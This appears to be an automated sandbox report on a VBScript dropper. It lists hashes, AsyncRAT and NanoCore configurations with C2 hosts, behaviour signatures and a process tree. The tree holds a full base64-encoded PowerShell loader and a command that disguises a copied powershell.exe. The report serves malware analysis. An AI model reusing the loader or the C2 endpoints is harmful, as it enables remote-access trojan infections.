Analysis

  • max time kernel
    136s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-08-2024 17:38

General

  • Target

    c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs

  • Size

    2.0MB

  • MD5

    3096f8476512077adacad2e66cd9535e

  • SHA1

    8ddfbf4ea1bb26fecb75ff9482529060351f5c82

  • SHA256

    c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd

  • SHA512

    277c34f5300e6e4b2129dd8aae4e68c226dee549601d0fb12323d86588492ea810cbe9ffcecda66c7680f2af6e76a7d7532d7a09d1cd59d639980ae06ac5188f

  • SSDEEP

    24576:9f5HNlz6GydnATwu6JRnDB/4G8jslVZCNct1hMYnnEhKEw7nmlLW+r1/YrK88skH:pNTmJT/QglCN07ir4f6MJk8nO

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

C2

onlineisofilelandersbaseballer1.mrbonus.com:7011

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family

nanocore

Version

1.2.2.0

C2

e-businessloader.mywire.org:5230

127.0.0.1:5230

Mutex

0be0e5d9-4209-4f88-b4fe-27e7b678a0b5

Attributes
  • activate_away_mode

    true

  • backup_connection_host

    127.0.0.1

  • backup_dns_server

    8.8.4.4

  • buffer_size

    65535

  • build_time

    2024-03-16T21:32:38.702958636Z

  • bypass_user_account_control

    true

  • bypass_user_account_control_data

  • clear_access_control

    true

  • clear_zone_identifier

    false

  • connect_delay

    4000

  • connection_port

    5230

  • default_group

    e-business

  • enable_debug_mode

    true

  • gc_threshold

    1.048576e+07

  • keep_alive_timeout

    30000

  • keyboard_logging

    false

  • lan_timeout

    2500

  • max_packet_size

    1.048576e+07

  • mutex

    0be0e5d9-4209-4f88-b4fe-27e7b678a0b5

  • mutex_timeout

    5000

  • prevent_system_sleep

    false

  • primary_connection_host

    e-businessloader.mywire.org

  • primary_dns_server

    8.8.8.8

  • request_elevation

    true

  • restart_delay

    5000

  • run_delay

    0

  • run_on_startup

    true

  • set_critical_process

    true

  • timeout_interval

    5000

  • use_custom_dns_server

    false

  • version

    1.2.2.0

  • wan_timeout

    8000

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Async RAT payload 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3440
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs"
        2⤵
        • Checks computer location settings
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:556
        • C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe
          "C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe" -enc JABWAGwAbgBmAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQAWQBiAGsAbwBhACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQAVgBsAG4AZgByACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAEYAZABqAGcAagAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABZAGIAawBvAGEALgBSAGUAcABsAGEAYwBlACgAJwBSAEUATQAgACcALAAgACcAJwApAC4AUgBlAHAAbABhAGMAZQAoACcAQAAnACwAIAAnAEEAJwApACkAOwAkAEEAcABnAGoAcABqAGoAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEYAZABqAGcAagAgACkAOwAkAFcAdQB3AHUAaAB1AGMAaAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAWQBnAG8AeQBpAHYAZQBuAG4AbwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABBAHAAZwBqAHAAagBqACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABZAGcAbwB5AGkAdgBlAG4AbgBvAC4AQwBvAHAAeQBUAG8AKAAgACQAVwB1AHcAdQBoAHUAYwBoACAAKQA7ACQAWQBnAG8AeQBpAHYAZQBuAG4AbwAuAEMAbABvAHMAZQAoACkAOwAkAEEAcABnAGoAcABqAGoALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABGAGQAagBnAGoAIAA9ACAAJABXAHUAdwB1AGgAdQBjAGgALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEYAZABqAGcAagApADsAIAAkAEMAaQB4AHoAbwBmACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARgBkAGoAZwBqACkAOwAgACQATABqAGoAdwBlAHIAZgBuAGcAIAA9ACAAJABDAGkAeAB6AG8AZgAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgAFsAUwB5AHMAdABlAG0ALgBEAGUAbABlAGcAYQB0AGUAXQA6ADoAQwByAGUAYQB0AGUARABlAGwAZQBnAGEAdABlACgAWwBBAGMAdABpAG8AbgBdACwAIAAkAEwAagBqAHcAZQByAGYAbgBnAC4ARABlAGMAbABhAHIAaQBuAGcAVAB5AHAAZQAsACAAJABMAGoAagB3AGUAcgBmAG4AZwAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Checks computer location settings
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2748
          • C:\Users\Admin\AppData\Local\Temp\AsyncRATonlineisofilelandersbaseballer1.mrbonus.com7011exe.exe
            "C:\Users\Admin\AppData\Local\Temp\AsyncRATonlineisofilelandersbaseballer1.mrbonus.com7011exe.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:1908
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        PID:1252
    • C:\Windows\system32\cmd.exe
      cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe" /Y
      1⤵
      • Process spawned unexpected child process
      PID:3260

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\AsyncRATonlineisofilelandersbaseballer1.mrbonus.com7011exe.exe

      Filesize

      47KB

      MD5

      159c90b70a434849067541ea6242addf

      SHA1

      a8fa40329afa1d5ebab79cdde6863c81e15f0735

      SHA256

      5982b94c5faf43027f7c8beb54f393619d718ce2afb1a2ecf98a40b7ee97fb4c

      SHA512

      92974a835a7652e9396630cd4fc88d06f01e4ad1ec6f7f8e8bfeb614c0611a8d281359b518cbad21536c432ffd8e6d0bab74209fb0f1c1d62f18de5e049e50db

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wqlqlebw.4ty.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe

      Filesize

      423KB

      MD5

      c32ca4acfcc635ec1ea6ed8a34df5fac

      SHA1

      f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

      SHA256

      73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

      SHA512

      6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

    • memory/1252-1141-0x00000000060B0000-0x00000000060C2000-memory.dmp

      Filesize

      72KB

    • memory/1252-1139-0x0000000006070000-0x000000000608A000-memory.dmp

      Filesize

      104KB

    • memory/1252-1148-0x0000000006140000-0x000000000616E000-memory.dmp

      Filesize

      184KB

    • memory/1252-1149-0x0000000006170000-0x0000000006184000-memory.dmp

      Filesize

      80KB

    • memory/1252-1147-0x0000000006130000-0x000000000613E000-memory.dmp

      Filesize

      56KB

    • memory/1252-1144-0x00000000060E0000-0x00000000060F4000-memory.dmp

      Filesize

      80KB

    • memory/1252-1143-0x00000000060D0000-0x00000000060DC000-memory.dmp

      Filesize

      48KB

    • memory/1252-1142-0x00000000060C0000-0x00000000060CE000-memory.dmp

      Filesize

      56KB

    • memory/1252-1140-0x00000000060A0000-0x00000000060AE000-memory.dmp

      Filesize

      56KB

    • memory/1252-1145-0x00000000060F0000-0x0000000006100000-memory.dmp

      Filesize

      64KB

    • memory/1252-1138-0x0000000006060000-0x000000000606C000-memory.dmp

      Filesize

      48KB

    • memory/1252-1135-0x0000000005A00000-0x0000000005A0A000-memory.dmp

      Filesize

      40KB

    • memory/1252-1134-0x00000000057D0000-0x00000000057EE000-memory.dmp

      Filesize

      120KB

    • memory/1252-1133-0x0000000004F50000-0x0000000004F5A000-memory.dmp

      Filesize

      40KB

    • memory/1252-1131-0x0000000004A40000-0x0000000004A4A000-memory.dmp

      Filesize

      40KB

    • memory/1252-1130-0x0000000004B00000-0x0000000004B9C000-memory.dmp

      Filesize

      624KB

    • memory/1252-1129-0x0000000004A60000-0x0000000004AF2000-memory.dmp

      Filesize

      584KB

    • memory/1252-1127-0x0000000000510000-0x0000000000548000-memory.dmp

      Filesize

      224KB

    • memory/1252-1146-0x0000000006110000-0x0000000006124000-memory.dmp

      Filesize

      80KB

    • memory/1908-1124-0x0000000000E70000-0x0000000000E82000-memory.dmp

      Filesize

      72KB

    • memory/2748-87-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-89-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-55-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-51-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-49-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-47-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-45-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-41-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-39-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-37-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-35-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-63-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-62-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-75-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-95-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-93-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-91-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-43-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-85-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-83-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-82-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-79-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-73-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-71-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-69-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-67-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-65-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-59-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-57-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-53-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-77-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-1104-0x0000000008710000-0x0000000008794000-memory.dmp

      Filesize

      528KB

    • memory/2748-1105-0x0000000008790000-0x00000000087DC000-memory.dmp

      Filesize

      304KB

    • memory/2748-1109-0x0000000074B6E000-0x0000000074B6F000-memory.dmp

      Filesize

      4KB

    • memory/2748-1110-0x0000000074B60000-0x0000000075310000-memory.dmp

      Filesize

      7.7MB

    • memory/2748-32-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-1123-0x000000000A3D0000-0x000000000A424000-memory.dmp

      Filesize

      336KB

    • memory/2748-33-0x00000000085E0000-0x00000000086E2000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-1128-0x0000000074B60000-0x0000000075310000-memory.dmp

      Filesize

      7.7MB

    • memory/2748-31-0x00000000085E0000-0x00000000086E8000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-30-0x0000000007E00000-0x0000000007F06000-memory.dmp

      Filesize

      1.0MB

    • memory/2748-29-0x0000000007C80000-0x0000000007D94000-memory.dmp

      Filesize

      1.1MB

    • memory/2748-28-0x0000000008B60000-0x00000000091DA000-memory.dmp

      Filesize

      6.5MB

    • memory/2748-27-0x0000000007F30000-0x00000000084D4000-memory.dmp

      Filesize

      5.6MB

    • memory/2748-26-0x0000000007950000-0x0000000007972000-memory.dmp

      Filesize

      136KB

    • memory/2748-25-0x0000000006E90000-0x0000000006EAA000-memory.dmp

      Filesize

      104KB

    • memory/2748-24-0x0000000006F00000-0x0000000006F96000-memory.dmp

      Filesize

      600KB

    • memory/2748-23-0x00000000069A0000-0x00000000069EC000-memory.dmp

      Filesize

      304KB

    • memory/2748-22-0x0000000006950000-0x000000000696E000-memory.dmp

      Filesize

      120KB

    • memory/2748-21-0x0000000006440000-0x0000000006794000-memory.dmp

      Filesize

      3.3MB

    • memory/2748-10-0x0000000006090000-0x00000000060F6000-memory.dmp

      Filesize

      408KB

    • memory/2748-11-0x0000000006100000-0x0000000006166000-memory.dmp

      Filesize

      408KB

    • memory/2748-9-0x0000000005980000-0x00000000059A2000-memory.dmp

      Filesize

      136KB

    • memory/2748-8-0x0000000074B60000-0x0000000075310000-memory.dmp

      Filesize

      7.7MB

    • memory/2748-6-0x0000000005A60000-0x0000000006088000-memory.dmp

      Filesize

      6.2MB

    • memory/2748-7-0x0000000074B60000-0x0000000075310000-memory.dmp

      Filesize

      7.7MB

    • memory/2748-5-0x0000000003040000-0x0000000003076000-memory.dmp

      Filesize

      216KB

    • memory/2748-4-0x0000000074B6E000-0x0000000074B6F000-memory.dmp

      Filesize

      4KB